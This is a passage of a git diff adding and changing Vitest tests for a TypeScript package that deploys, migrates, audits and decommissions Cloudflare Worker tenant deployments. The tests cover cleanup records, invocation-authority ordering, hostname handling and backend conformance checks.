+    const [reserved] = reserveApplicationR2Resources({
+      ...spec(cleaningBase, 1),
+      application: { vars: [], secrets: [], r2Buckets: [{ name: 'DATA' }] },
+    });
+    if (!reserved) throw new Error('missing reserved application resource');
+    const dataResource = {
+      ...reserved,
+      state: 'created' as const,
+      creationDate: '2026-08-01T00:00:00.000Z',
+    };
+    const cleaning: FleetRecord = {
+      ...cleaningBase,
+      phase: 'cleanup-advancing',
+      applicationResources: [dataResource],
+    };
+    const withIntent: FleetRecord = {
+      ...cleaning,
+      cleanupIntent: {
+        version: 1,
+        operationId: '5b8e2f1a-3c4d-4e5f-8a9b-0c1d2e3f4a5b',
+        revision: 2,
+        generation: 0,
+        updatedAt: cleaning.updatedAt,
+        authority: { kind: 'manual-cleanup' },
+        identity: {
+          record: {
+            tenantTag: cleaning.tenantTag,
+            environment: cleaning.environment,
+            backend: cleaning.backend,
+            scriptName: cleaning.scriptName,
+            databaseId: cleaning.databaseId,
+            databaseName: cleaning.databaseName,
+            routeHostname: cleaning.routeHostname,
+          },
+          admittedPhase: 'worker-deployed',
+          externalArtifact: false,
+        },
+        state: { step: 'teardown-worker' },
+      },
+    };
+    const beta = record('beta');
+    const backend = new FleetBackend();
+    backend.live.set(beta.tenantTag, liveFor(beta));
+    const audit = (inventory: FleetResourceInventory) =>
+      auditFleetDrift({
+        store: storeFor([withIntent, beta]),
+        records: [withIntent, beta],
+        inventory,
+        backendFor: (item) => {
+          if (item.cleanupIntent) {
+            throw new Error('suppressed cleanup record must not be audited');
+          }
+          return backend;
+        },
+        specFor: (item) => spec(item),
+        maintenanceSecretFor: () => 'maintenance-admin-secret-value-00001',
+        staleAfterMs: 1_000,
+        now: 10_000,
+      });
+
+    // Still-present declared resources are known, never orphans.
+    const present = inventoryFor([cleaningBase, beta]);
+    await expect(
+      audit({
+        ...present,
+        r2Buckets: [
+          {
+            bucketName: dataResource.bucketName,
+            jurisdiction: dataResource.jurisdiction ?? 'default',
+            creationDate: dataResource.creationDate,
+          },
+        ],
+      }),
+    ).resolves.toEqual([]);
+
+    // Already-removed resources raise no expectation-based findings either:
+    // the bounded engine, not the drift audit, reconciles this deployment.
+    await expect(audit(inventoryFor([beta]))).resolves.toEqual([]);
+  });
+
+  it('reports no incomplete provisioning for a stale blocked cleanup record', async () => {
+    const base = record('acme');
+    const blocked: FleetRecord = {
+      ...base,
+      phase: 'cleanup-advancing',
+      cleanupIntent: {
+        version: 1,
+        operationId: '5b8e2f1a-3c4d-4e5f-8a9b-0c1d2e3f4a5b',
+        revision: 7,
+        generation: 1,
+        updatedAt: base.updatedAt,
+        authority: { kind: 'manual-cleanup' },
+        identity: {
+          record: {
+            tenantTag: base.tenantTag,
+            environment: base.environment,
+            backend: base.backend,
+            scriptName: base.scriptName,
+            databaseId: base.databaseId,
+            databaseName: base.databaseName,
+            routeHostname: base.routeHostname,
+          },
+          admittedPhase: 'worker-deployed',
+          externalArtifact: false,
+        },
+        state: {
+          step: 'blocked',
+          purpose: {
+            kind: 'cleanup-database-pre-delete',
+            databaseId: base.databaseId,
+            operationId: '5b8e2f1a-3c4d-4e5f-8a9b-0c1d2e3f4a5b',
+          },
+          attachment: { plane: 'ordinary', scriptName: 'holder-script' },
+        },
+      },
+    };
+    const backend = new FleetBackend();
+    const audit = (records: readonly FleetRecord[]) =>
+      auditFleetDrift({
+        store: storeFor(records),
+        records,
+        inventory: inventoryFor([base]),
+        backendFor: () => backend,
+        specFor: (item) => spec(item),
+        maintenanceSecretFor: () => 'maintenance-admin-secret-value-00001',
+        staleAfterMs: 1_000,
+        now: 10_000,
+      });
+
+    // A long-blocked cleanup stays visible through the record itself, never
+    // through incomplete-provisioning or other drift findings.
+    await expect(audit([blocked])).resolves.toEqual([]);
+
+    const stale: FleetRecord = { ...base, phase: 'worker-deployed' };
+    backend.live.set(stale.tenantTag, liveFor(stale));
+    const findings = await audit([stale]);
+    expect(findings.map(({ kind }) => kind)).toContain(
+      'incomplete-provisioning',
+    );
+  });
+
+  it('reports no incomplete provisioning for a retained terminal record', async () => {
+    const base = record('acme');
+    // A terminal row is retained state, not a phase that advances, so ageing
+    // past staleAfterMs is retention rather than stalled provisioning.
+    const retired: FleetRecord = { ...base, phase: 'decommissioned' };
+    const backend = new FleetBackend();
+    const findings = await auditFleetDrift({
+      store: storeFor([retired]),
+      records: [retired],
+      inventory: inventoryFor([base]),
+      backendFor: () => backend,
+      specFor: (item) => spec(item),
+      maintenanceSecretFor: () => 'maintenance-admin-secret-value-00001',
+      staleAfterMs: 1_000,
+      now: 10_000,
+    });
+    expect(findings.map(({ kind }) => kind)).not.toContain(
+      'incomplete-provisioning',
+    );
+  });
+
+  it('commits the invocation authority before migration staging, candidate maintenance, and promotion dispatches', async () => {
+    class TimelineFleetStore extends FleetStore {
+      constructor(private readonly timeline: string[]) {
+        super();
+      }
+
+      override async put(value: FleetRecord): Promise<void> {
+        await super.put(value);
+        const carrier = value.invocationAuthority;
+        this.timeline.push(
+          `put:${value.phase}:${
+            carrier
+              ? carrier.authorizedAt === null
+                ? 'null'
+                : 'authorized'
+              : 'absent'
+          }`,
+        );
+      }
+    }
+    const acme = record('acme');
+    const initialSpec = spec(acme, 1);
+    const activePhysicalScriptName = externalReleaseScriptName(initialSpec);
+    const backend = new ImmutableFleetBackend();
+    const priorTarget = backend.describeExternalPlatformTarget(initialSpec);
+    // A legacy record carries no invocation-authority carrier at all.
+    const current: FleetRecord = {
+      ...acme,
+      durableObjectBindings: [],
+      desiredSpecDigest: deploymentSpecDigest(initialSpec),
+      platformTarget: priorTarget,
+      outboundPolicy: priorTarget.outboundPolicy,
+      activeRelease: {
+        physicalScriptName: activePhysicalScriptName,
+        specDigest: deploymentSpecDigest(initialSpec),
+        artifactVersion: acme.artifactVersion,
+        releaseSchemaVersion: initialSpec.schemaVersion,
+      },
+    };
+    const target = spec(current, 2);
+    backend.routedScriptName = activePhysicalScriptName;
+    backend.releases.set(activePhysicalScriptName, {
+      ...liveFor(current),
+      scriptName: activePhysicalScriptName,
+      durableObjectBindings: [],
+    });
+    const store = new TimelineFleetStore(backend.calls);
+    await store.put(current);
+    backend.calls.length = 0;
+
+    await migrateFleet({
+      store,
+      records: [current],
+      canaryTenantTags: [],
+      backendFor: () => backend,
+      specFor: () => target,
+      secretsFor: () => ({
+        deploymentIdentity: 'deployment-identity-secret-value-0001',
+        maintenanceAdmin: 'maintenance-admin-secret-value-00001',
+      }),
+    });
+
+    const timeline = backend.calls;
+    const flip = timeline.indexOf('put:migrating:authorized');
+    const deploy = timeline.indexOf(
+      `deploy:acme:${externalReleaseScriptName(target)}`,
+    );
+    const maintenance = timeline.indexOf('maintenance:acme');
+    const promote = timeline.indexOf(
+      `promote:acme:${externalReleaseScriptName(target)}`,
+    );
+    // Staging puts never carry the flip; a dedicated durable put commits the
+    // carrier before the candidate upload, and maintenance plus promotion
+    // dispatch only after that same committed authority.
+    expect(timeline.slice(0, flip)).toContain('put:migrating:absent');
+    expect(flip).toBeGreaterThanOrEqual(0);
+    expect(flip).toBeLessThan(deploy);
+    expect(deploy).toBeLessThan(maintenance);
+    expect(maintenance).toBeLessThan(promote);
+    const migrated = await store.get('acme', 'production');
+    expect(migrated?.phase).toBe('ready');
+    expect(typeof migrated?.invocationAuthority?.authorizedAt).toBe('string');
+  });
+
   it('migrates explicit canaries first and stops before the remaining fleet', async () => {
     const acme = record('acme');
     const beta = record('beta');
@@ -2640,8 +2944,14 @@ describe('fleet operations', () => {
 
   it('persists the advanced Durable Object tag and rejects a stale migration base', async () => {
     const priorHistory = [{ tag: 'v1', newClasses: ['Runner'] }];
+    const {
+      activeRelease: _active,
+      platformTarget: _target,
+      ...catalog
+    } = record('acme');
     const acme = {
-      ...record('acme'),
+      ...catalog,
+      wfpMode: 'platform-catalog' as const,
       durableObjectTag: 'v1',
       durableObjectMigrationHistory: priorHistory,
       durableObjectMigrationHistoryDigest:
diff --git a/packages/fleet-control/test/inventory-hostname.harness.test.ts b/packages/fleet-control/test/inventory-hostname.harness.test.ts
new file mode 100644
index 00000000..463ce5d0
--- /dev/null
+++ b/packages/fleet-control/test/inventory-hostname.harness.test.ts
@@ -0,0 +1,117 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { afterAll, beforeAll, describe, expect, it } from 'vitest';
+import {
+  createTestHarness,
+  type TestHarness,
+  type WorkerHandle,
+} from 'wrangler';
+
+const ROOT = new URL('..', import.meta.url).pathname;
+const PROBE = new URL(
+  './fixtures/inventory-hostname-harness-probe.ts',
+  import.meta.url,
+).pathname;
+
+describe.sequential('inventory hostnames in workerd', {
+  timeout: 30_000,
+}, () => {
+  let server: TestHarness;
+  let worker: WorkerHandle;
+
+  beforeAll(async () => {
+    server = createTestHarness({
+      root: ROOT,
+      workers: [
+        {
+          config: {
+            name: 'inventory-hostname-probe',
+            main: PROBE,
+            compatibility_date: '2026-08-06',
+          },
+        },
+      ],
+    });
+    await server.listen();
+    worker = server.getWorker();
+  }, 30_000);
+
+  afterAll(async () => {
+    await server.close();
+  }, 30_000);
+
+  it('creates distinct base64url reservation nonces through the allowed crypto API', async () => {
+    const response = await worker.fetch('/reservation');
+    expect(response.status).toBe(200);
+    const body = (await response.json()) as {
+      first: Array<{ reservationNonce: string; bucketName: string }>;
+      second: Array<{ reservationNonce: string; bucketName: string }>;
+      secrets: { deploymentIdentity: string; maintenanceAdmin: string };
+    };
+    for (const value of [
+      body.secrets.deploymentIdentity,
+      body.secrets.maintenanceAdmin,
+    ]) {
+      expect(value).toMatch(/^[A-Za-z0-9_-]{43}$/);
+      expect(Buffer.from(value, 'base64url')).toHaveLength(32);
+    }
+    expect(body.secrets.deploymentIdentity).not.toBe(
+      body.secrets.maintenanceAdmin,
+    );
+    expect(body.first).toHaveLength(1);
+    expect(body.second).toHaveLength(1);
+    for (const resource of [...body.first, ...body.second]) {
+      expect(resource.reservationNonce).toMatch(/^[A-Za-z0-9_-]{32}$/);
+      expect(Buffer.from(resource.reservationNonce, 'base64url')).toHaveLength(
+        24,
+      );
+      expect(resource.bucketName).toMatch(/^fleet-tenanta-prod-[0-9a-f]{20}$/);
+    }
+    expect(body.first[0]?.reservationNonce).not.toBe(
+      body.second[0]?.reservationNonce,
+    );
+    expect(body.first[0]?.bucketName).not.toBe(body.second[0]?.bucketName);
+  });
+
+  it.each([
+    'bücher.example',
+    '例子.example',
+    'ｘ',
+    'ｙ',
+    'ｌｏｃａｌｈｏｓｔ',
+    '\u200b.example',
+    'ASCII.example',
+  ])('preserves the recorded hostname %j', async (hostname) => {
+    const response = await worker.fetch(
+      `/?hostname=${encodeURIComponent(hostname)}`,
+    );
+    expect(response.status).toBe(200);
+    expect(await response.json()).toMatchObject({
+      rows: [
+        { kind: 'route', payload: { hostname } },
+        {
+          kind: 'finding',
+          payload: {
+            kind: 'stale-route',
+            detail: `custom domain '${hostname}' points to a missing or incomplete plain Worker 'anchorage-missing'`,
+          },
+        },
+      ],
+      providerRequests: 3,
+    });
+  });
+
+  it.each([
+    'user@é.example\t',
+    'é.example:80\t',
+    'bad\u0000é.example',
+  ])('retains finding refusal for %j', async (hostname) => {
+    const response = await worker.fetch(
+      `/?hostname=${encodeURIComponent(hostname)}`,
+    );
+    expect(response.status).toBe(400);
+    expect(await response.json()).toEqual({
+      error: 'FleetInventoryFindingValueError',
+    });
+  });
+});
diff --git a/packages/fleet-control/test/migration-ledger.harness.test.ts b/packages/fleet-control/test/migration-ledger.harness.test.ts
index bdf5f8b4..dfb33174 100644
--- a/packages/fleet-control/test/migration-ledger.harness.test.ts
+++ b/packages/fleet-control/test/migration-ledger.harness.test.ts
@@ -42,6 +42,8 @@ function harnessOptions() {
 }
 
 describe.sequential('migration ledger real-D1 fidelity', {
+  // The hooks below repeat this value because hooks take vitest's
+  // hookTimeout, not this option; every title inherits it.
   timeout: 30_000,
 }, () => {
   let server: TestHarness;
@@ -103,6 +105,24 @@ describe.sequential('migration ledger real-D1 fidelity', {
     });
   });
 
+  it('converges concurrent first applications on a cold ledger', async () => {
+    await expect(
+      probe<{
+        coldBefore: number;
+        settlements: Array<
+          { status: 'fulfilled' } | { status: 'rejected'; message: string }
+        >;
+        values: number;
+        ledger: number;
+      }>('cold-application'),
+    ).resolves.toEqual({
+      coldBefore: 0,
+      settlements: [{ status: 'fulfilled' }, { status: 'fulfilled' }],
+      values: 1,
+      ledger: 1,
+    });
+  });
+
   it('rejects changed SQL for an already committed historical version', async () => {
     await expect(
       probe<{ failure: ProbeError; values: string[] }>('changed-history'),
diff --git a/packages/fleet-control/test/plain-worker-backend-conformance.ts b/packages/fleet-control/test/plain-worker-backend-conformance.ts
new file mode 100644
index 00000000..079846c3
--- /dev/null
+++ b/packages/fleet-control/test/plain-worker-backend-conformance.ts
@@ -0,0 +1,1389 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { APIConnectionError } from 'cloudflare';
+import { describe, expect, it, vi } from 'vitest';
+import { ActiveRouteAttestationError } from '../src/active-route.js';
+import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js';
+import { migrateFleet } from '../src/fleet.js';
+import {
+  PlainWorkerBackend,
+  plainWorkerIngressModule,
+} from '../src/plain-worker-backend.js';
+import {
+  decommissionDeployment,
+  forceDecommissionDeployment,
+  provisionDeployment,
+} from '../src/provision.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import {
+  type DeploymentSecrets,
+  type DeploymentSpec,
+  effectiveLifecyclePhase,
+  type FleetRecord,
+} from '../src/types.js';
+import { WranglerPlainWorkerProvisioningApi } from '../src/wrangler-plain-worker-provisioning-api.js';
+import {
+  recordingFetch,
+  restProjection,
+} from './fixtures/cloudflare-fetch-fixture.js';
+import {
+  buildPlainWorkerSpec,
+  captureFailure,
+  causeChain,
+  errorChain,
+  ignoreFailure,
+  initialSpec,
+  migrationSpec,
+  type PlainWorkerHarness,
+  plainOnlyClient,
+  routeAttestation,
+  seedWorkerFromSpec,
+  sharedSecrets,
+} from './fixtures/plain-worker-harnesses.js';
+import type {
+  ProviderDatabase,
+  ProviderWorld,
+} from './fixtures/provider-world.js';
+import { cliProjection } from './fixtures/wrangler-world-projection.js';
+
+const ownedFence = {
+  mutationLeaseTtlMs: 15 * 60_000,
+  assertOwned: async () => {},
+};
+
+function databaseReference(database: ProviderDatabase) {
+  return {
+    id: database.databaseId,
+    name: database.name,
+    created: false,
+  };
+}
+
+async function provisionReady(
+  harness: PlainWorkerHarness,
+  spec: DeploymentSpec = buildPlainWorkerSpec(),
+  secrets: DeploymentSecrets = sharedSecrets,
+) {
+  return provisionDeployment({
+    backend: harness.backend,
+    store: harness.store,
+    spec,
+    secrets,
+    initialExecutionFenceState: 'open',
+    clock: () => 1_000,
+    routeAttestation,
+  });
+}
+
+function migrate(
+  harness: PlainWorkerHarness,
+  record: FleetRecord,
+  spec: DeploymentSpec,
+  secrets: DeploymentSecrets = sharedSecrets,
+) {
+  return migrateFleet({
+    store: harness.store,
+    records: [record],
+    canaryTenantTags: [],
+    backendFor: () => harness.backend,
+    specFor: () => spec,
+    secretsFor: () => secrets,
+    clock: () => 2_000,
+    routeAttestation,
+  });
+}
+
+function alterFleetDigest(
+  world: ProviderWorld,
+  scriptName: string,
+  value: string | undefined,
+): void {
+  const binding = world.scripts
+    .get(scriptName)
+    ?.versions[0]?.bindings.find(
+      (candidate) =>
+        candidate !== null &&
+        typeof candidate === 'object' &&
+        Reflect.get(candidate, 'name') === 'FLEET_SPEC_DIGEST',
+    );
+  if (!binding || typeof binding !== 'object') {
+    throw new Error('seeded Worker has no fleet digest binding');
+  }
+  if (value === undefined) Reflect.deleteProperty(binding, 'text');
+  else Reflect.set(binding, 'text', value);
+}
+
+function clearWorker(world: ProviderWorld, scriptName: string): void {
+  world.deleteScript(scriptName);
+  // deleteScript does not sweep custom domains, so this seed helper clears them
+  // before adding the one residual each row exercises.
+  for (let index = world.customDomains.length - 1; index >= 0; index -= 1) {
+    if (world.customDomains[index]?.service === scriptName) {
+      world.customDomains.splice(index, 1);
+    }
+  }
+}
+
+export function describePlainWorkerConformance(
+  label: string,
+  makeHarness: (world?: ProviderWorld) => PlainWorkerHarness,
+): void {
+  describe(`ordinary Worker conformance: ${label}`, () => {
+    it('decommissions the prior artifact after schema advancement and interrupted candidate upload', async () => {
+      const harness = makeHarness();
+      const currentSpec = initialSpec();
+      const targetSpec = migrationSpec();
+      const initial = await provisionReady(harness, currentSpec);
+      harness.backend.deployWorker = async () => {
+        throw new Error('fixture interruption before upload');
+      };
+      await expect(
+        migrate(harness, initial.record, targetSpec),
+      ).rejects.toThrow('fixture interruption before upload');
+      expect(harness.store.record).toMatchObject({
+        phase: 'migrating',
+        schemaVersion: 2,
+        activeRelease: {
+          artifactVersion: initial.record.artifactVersion,
+          specDigest: deploymentSpecDigest(currentSpec),
+          releaseSchemaVersion: 1,
+        },
+      });
+      const removed = await decommissionDeployment({
+        backend: harness.backend,
+        store: harness.store,
+        spec: targetSpec,
+      });
+      expect(removed.record.phase).toBe('decommissioned');
+      expect(harness.world.databases).toHaveLength(0);
+      expect(harness.world.scripts.get(targetSpec.scriptName)?.present).toBe(
+        false,
+      );
+    });
+
+    it('inspects a prior release and migrates changed variables, service and queue bindings', async () => {
+      const harness = makeHarness();
+      const currentSpec: DeploymentSpec = {
+        ...initialSpec(),
+        egressProxyService: 'initial-egress',
+        queueProducer: { binding: 'EVENTS', queueName: 'initial-events' },
+        application: {
+          vars: [{ name: 'RELEASE', value: 'initial' }],
+          secrets: [],
+          r2Buckets: [],
+        },
+      };
+      const targetSpec: DeploymentSpec = {
+        ...migrationSpec(),
+        egressProxyService: 'next-egress',
+        queueProducer: { binding: 'EVENTS', queueName: 'next-events' },
+        application: {
+          vars: [{ name: 'RELEASE', value: 'next' }],
+          secrets: [],
+          r2Buckets: [],
+        },
+      };
+      const initial = await provisionReady(harness, currentSpec);
+      const prior = await harness.backend.inspect(
+        targetSpec,
+        sharedSecrets.maintenanceAdmin,
+        undefined,
+      );
+      expect(prior).toMatchObject({
+        artifactVersion: initial.record.artifactVersion,
+        desiredSpecDigest: deploymentSpecDigest(currentSpec),
+        schemaVersion: currentSpec.schemaVersion,
+        plainTextBindings: { RELEASE: 'initial' },
+        serviceBindings: [{ name: 'EGRESS_PROXY', service: 'initial-egress' }],
+        queueProducerBindings: [
+          { name: 'EVENTS', queueName: 'initial-events' },
+        ],
+      });
+      expect(
+        harness.world.scripts.get(currentSpec.scriptName)?.versions,
+      ).toHaveLength(1);
+      const [migrated] = await migrate(harness, initial.record, targetSpec);
+      expect(migrated).toMatchObject({
+        phase: 'ready',
+        desiredSpecDigest: deploymentSpecDigest(targetSpec),
+      });
+      expect(
+        await harness.backend.inspect(
+          targetSpec,
+          sharedSecrets.maintenanceAdmin,
+          undefined,
+        ),
+      ).toMatchObject({
+        artifactVersion: migrated?.artifactVersion,
+        desiredSpecDigest: deploymentSpecDigest(targetSpec),
+        schemaVersion: targetSpec.schemaVersion,
+        plainTextBindings: { RELEASE: 'next' },
+        serviceBindings: [{ name: 'EGRESS_PROXY', service: 'next-egress' }],
+        queueProducerBindings: [{ name: 'EVENTS', queueName: 'next-events' }],
+      });
+    });
+
+    it('1. provisions an initial deployment to ready with one guarded live version', async () => {
+      const harness = makeHarness();
+      const spec = buildPlainWorkerSpec();
+      const result = await provisionReady(harness, spec);
+
+      expect(result.record).toMatchObject({
+        backend: 'plain-worker',
+        tenantTag: spec.tenantTag,
+        environment: spec.environment,
+        scriptName: spec.scriptName,
+        databaseName: spec.databaseName,
+        schemaVersion: spec.schemaVersion,
+        desiredSpecDigest: deploymentSpecDigest(spec),
+        routeHostname: spec.routeHostname,
+        phase: 'ready',
+        applicationResources: [],
+      });
+      expect(result.maintenance).toMatchObject({
+        armed: true,
+        deploymentSpecDigest: deploymentSpecDigest(spec),
+      });
+      expect(harness.store.record).toEqual(result.record);
+      expect(harness.store.phases).toEqual([
+        'database-reserved',
+        'database-create-authorized',
+        'database-created',
+        'identity-seeded',
+        'identity-seeded',
+        'identity-seeded',
+        'migrated',
+        'application-resources-create-authorized',
+        'application-resources-deployed',
+        'worker-deployed',
+        // The invocation-authority flip commits on a dedicated put before
+        // the first maintenance request.
+        'worker-deployed',
+        'maintenance-armed',
+        'publishing',
+        'ready',
+      ]);
+
+      const script = harness.world.scripts.get(spec.scriptName);
+      expect(script).toBeDefined();
+      expect(script?.present).toBe(true);
+      expect(script?.versions).toHaveLength(1);
+      expect(script?.versions[0]).toMatchObject({
+        versionId: result.record.artifactVersion,
+        tag: deploymentSpecDigest(spec),
+      });
+      expect(script?.deployment).toEqual([
+        { versionId: result.record.artifactVersion, percentage: 100 },
+      ]);
+      expect(script?.subdomain).toEqual({
+        enabled: true,
+        previewsEnabled: false,
+      });
+      expect([...(script?.secretNames ?? [])].sort()).toEqual([
+        'DEPLOYMENT_IDENTITY_SECRET',
+        'MAINTENANCE_ADMIN_SECRET',
+      ]);
+      const ingress = plainWorkerIngressModule(spec);
+      expect(script?.versions[0]?.mainModule).toBe(ingress.name);
+      expect(
+        script?.versions[0]?.modules.find(
+          (module) => module.name === ingress.name,
+        )?.content,
+      ).toBe(ingress.content);
+      expect(script?.versions[0]?.bindings).toEqual(
+        expect.arrayContaining([
+          {
+            type: 'plain_text',
+            name: 'FLEET_INGRESS_CONTRACT',
+            text: 'guarded-object-v1',
+          },
+          {
+            type: 'd1',
+            name: 'DB',
+            database_id: result.record.databaseId,
+          },
+          expect.objectContaining({
+            type: 'durable_object_namespace',
+            name: 'MAINTENANCE',
+            class_name: 'Maintenance',
+            namespace_id: result.record.durableObjectBindings[0]?.namespaceId,
+          }),
+        ]),
+      );
+      expect(harness.world.customDomains).toEqual([
+        {
+          id: expect.any(String),
+          hostname: spec.routeHostname,
+          service: spec.scriptName,
+        },
+      ]);
+      expect(harness.world.durableObjectNamespaces).toEqual([
+        {
+          id: result.record.durableObjectBindings[0]?.namespaceId,
+          script: spec.scriptName,
+          className: 'Maintenance',
+        },
+      ]);
+
+      const database = harness.world.databases.find(
+        ({ databaseId }) => databaseId === result.record.databaseId,
+      );
+      expect(database).toBeDefined();
+      expect(
+        database?.d1.queryDatabase(
+          'SELECT id, tenant_tag FROM flowsafe_deployment',
+        ),
+      ).toEqual([{ id: 1, tenant_tag: spec.tenantTag }]);
+      expect(
+        database?.d1.queryDatabase(
+          'SELECT id, state FROM flowsafe_execution_fence',
+        ),
+      ).toEqual([{ id: 'deployment', state: 'open' }]);
+      expect(
+        database?.d1.queryDatabase(
+          'SELECT version FROM anchorage_fleet_migrations ORDER BY version',
+        ),
+      ).toEqual([{ version: 1 }, { version: 2 }]);
+      expect(
+        database?.d1
+          .queryDatabase('PRAGMA table_info(example)')
+          .map((row) => row.name),
+      ).toEqual(['id', 'value']);
+    });
+
+    it('2. migrates an existing deployment through a staged candidate and promotion', async () => {
+      const harness = makeHarness();
+      const currentSpec = initialSpec();
+      const targetSpec = migrationSpec();
+      const initial = await provisionReady(harness, currentSpec);
+      let stagedDeployment:
+        | readonly { versionId: string; percentage: number }[]
+        | undefined;
+      let stagedDigest: string | undefined;
+      harness.world.afterNext('ensureMaintenance', (world) => {
+        const script = world.scripts.get(targetSpec.scriptName);
+        stagedDeployment = script?.deployment?.map((version) => ({
+          ...version,
+        }));
+        stagedDigest = script?.versions[0]?.tag;
+      });
+
+      const [migrated] = await migrate(harness, initial.record, targetSpec);
+
+      expect(stagedDeployment).toEqual([
+        { versionId: initial.record.artifactVersion, percentage: 100 },
+        { versionId: expect.any(String), percentage: 0 },
+      ]);
+      expect(stagedDigest).toBe(deploymentSpecDigest(targetSpec));
+      expect(migrated).toMatchObject({
+        phase: 'ready',
+        desiredSpecDigest: deploymentSpecDigest(targetSpec),
+        schemaVersion: 2,
+      });
+      expect(migrated?.pendingSpecDigest).toBeUndefined();
+      expect(migrated?.pendingArtifactVersion).toBeUndefined();
+      const script = harness.world.scripts.get(targetSpec.scriptName);
+      expect(script?.deployment).toEqual([
+        { versionId: migrated?.artifactVersion, percentage: 100 },
+      ]);
+      expect(harness.world.customDomains).toEqual([
+        expect.objectContaining({
+          hostname: targetSpec.routeHostname,
+          service: targetSpec.scriptName,
+        }),
+      ]);
+    });
+
+    it('3. leaves the candidate at zero traffic when maintenance attestation fails', async () => {
+      const harness = makeHarness();
+      const currentSpec = initialSpec();
+      const targetSpec = migrationSpec();
+      const initial = await provisionReady(harness, currentSpec);
+      harness.world.mutationLog.length = 0;
+      const maintenanceRequested = new Promise<void>((resolve) => {
+        harness.world.afterNext('ensureMaintenance', (world) => {
+          alterFleetDigest(world, targetSpec.scriptName, 'f'.repeat(64));
+          vi.useFakeTimers();
+          resolve();
+        });
+      });
+
+      try {
+        const pending = captureFailure(
+          migrate(harness, initial.record, targetSpec),
+        );
+
+        await maintenanceRequested;
+        await vi.advanceTimersByTimeAsync(60_000);
+        const failure = await pending;
+        expect(errorChain(failure)).toContain(
+          'maintenance response did not attest fleet specification',
+        );
+        const script = harness.world.scripts.get(targetSpec.scriptName);
+        expect(script?.deployment).toEqual([
+          { versionId: initial.record.artifactVersion, percentage: 100 },
+          { versionId: expect.any(String), percentage: 0 },
+        ]);
+        expect(harness.world.mutationLog).toContain(
+          `deploy-candidate:${targetSpec.scriptName}`,
+        );
+        expect(harness.world.mutationLog).not.toContain(
+          `deploy:${targetSpec.scriptName}`,
+        );
+      } finally {
+        vi.useRealTimers();
+      }
+    });
+
+    it('4. attests one active route and refuses absent or malformed routed digests', async () => {
+      const spec = buildPlainWorkerSpec();
+      const healthy = makeHarness();
+      const [version] = seedWorkerFromSpec(healthy.world, { spec });
+      await expect(
+        healthy.backend.attestActiveRoute(spec),
+      ).resolves.toMatchObject({
+        specDigest: deploymentSpecDigest(spec),
+        artifactVersion: version?.versionId,
+        physicalScriptName: spec.scriptName,
+        source: 'workers-deployments',
+      });
+
+      for (const digest of [undefined, 'malformed-digest']) {
+        const harness = makeHarness();
+        seedWorkerFromSpec(harness.world, { spec });
+        alterFleetDigest(harness.world, spec.scriptName, digest);
+        const failure = await captureFailure(
+          harness.backend.attestActiveRoute(spec),
+        );
+        expect(failure).toBeInstanceOf(ActiveRouteAttestationError);
+      }
+    });
+
+    it('5. refuses split traffic during active-route attestation', async () => {
+      const harness = makeHarness();
+      const spec = buildPlainWorkerSpec();
+      const nextSpec = buildPlainWorkerSpec({
+        modules: [
+          { name: 'worker.js', content: 'export default { fetch() {} }' },
+        ],
+      });
+      const [active] = seedWorkerFromSpec(harness.world, { spec });
+      const [candidate] = seedWorkerFromSpec(harness.world, {
+        spec: nextSpec,
+        mode: 'staged',
+      });
+      const script = harness.world.scripts.get(spec.scriptName);
+      if (!active || !candidate || !script) {
+        throw new Error('failed to seed split-traffic Worker');
+      }
+      script.deployment = [
+        { versionId: active.versionId, percentage: 50 },
+        { versionId: candidate.versionId, percentage: 50 },
+      ];
+
+      await expect(
+        harness.backend.attestActiveRoute(spec),
+      ).rejects.toBeInstanceOf(ActiveRouteAttestationError);
+    });
+
+    it('6. refuses foreign Worker, database, and custom-domain ownership', async () => {
+      const spec = buildPlainWorkerSpec({ previousDurableObjectTag: 'v1' });
+
+      const foreignWorker = makeHarness();
+      const workerDatabase = foreignWorker.world.seedDatabase(
+        spec.databaseName,
+      );
+      seedWorkerFromSpec(foreignWorker.world, {
+        spec: buildPlainWorkerSpec({ tenantTag: 'foreign' }),
+        databaseId: workerDatabase.databaseId,
+      });
+      const workerFailure = await captureFailure(
+        foreignWorker.backend.deployWorker(
+          spec,
+          databaseReference(workerDatabase),
+          sharedSecrets,
+          undefined,
+          ownedFence,
+          undefined,
+        ),
+      );
+      expect(errorChain(workerFailure)).toMatch(
+        /different deployment ownership|drifted tenant/u,
+      );
+
+      const foreignDatabase = makeHarness();
+      const database = foreignDatabase.world.seedDatabase(spec.databaseName);
+      const reference = databaseReference(database);
+      await foreignDatabase.backend.seedDeploymentIdentity(
+        reference,
+        'foreign',
+        ownedFence,
+        { initialExecutionFenceState: 'open' },
+      );
+      const databaseFailure = await captureFailure(
+        foreignDatabase.backend.seedDeploymentIdentity(
+          reference,
+          spec.tenantTag,
+          ownedFence,
+          { initialExecutionFenceState: 'open' },
+        ),
+      );
+      expect(errorChain(databaseFailure)).toContain(
+        "already belongs to deployment 'foreign'",
+      );
+
+      const foreignDomain = makeHarness();
+      const [domainVersion] = seedWorkerFromSpec(foreignDomain.world, { spec });
+      foreignDomain.world.customDomains.push({
+        id: 'foreign-domain',
+        hostname: spec.routeHostname,
+        service: 'foreign-worker',
+      });
+      const domainFailure = await captureFailure(
+        foreignDomain.backend.promoteWorker(
+          spec,
+          {
+            allowedCurrentScriptNames: [spec.scriptName],
+            allowUnrouted: false,
+          },
+          undefined,
+          ownedFence,
+          domainVersion?.versionId,
+        ),
+      );
+      expect(errorChain(domainFailure)).toContain(
+        `custom domain '${spec.routeHostname}' is owned by unexpected Worker 'foreign-worker'`,
+      );
+    });
+
+    it('7. refuses duplicate tagged candidates in provider inventory', async () => {
+      const spec = buildPlainWorkerSpec();
+      const duplicateInventory = makeHarness();
+      seedWorkerFromSpec(duplicateInventory.world, { spec });
+      seedWorkerFromSpec(duplicateInventory.world, {
+        spec,
+        mode: 'staged',
+      });
+      await expect(
+        duplicateInventory.backend.inspect(
+          spec,
+          sharedSecrets.maintenanceAdmin,
+          undefined,
+        ),
+      ).rejects.toThrow(
+        /multiple Worker versions use fleet specification tag/u,
+      );
+
+      const dispatchedDuplicate = makeHarness();
+      const currentSpec = initialSpec();
+      const targetSpec = migrationSpec();
+      const ready = await provisionReady(dispatchedDuplicate, currentSpec);
+      const readyRecord = structuredClone(ready.record);
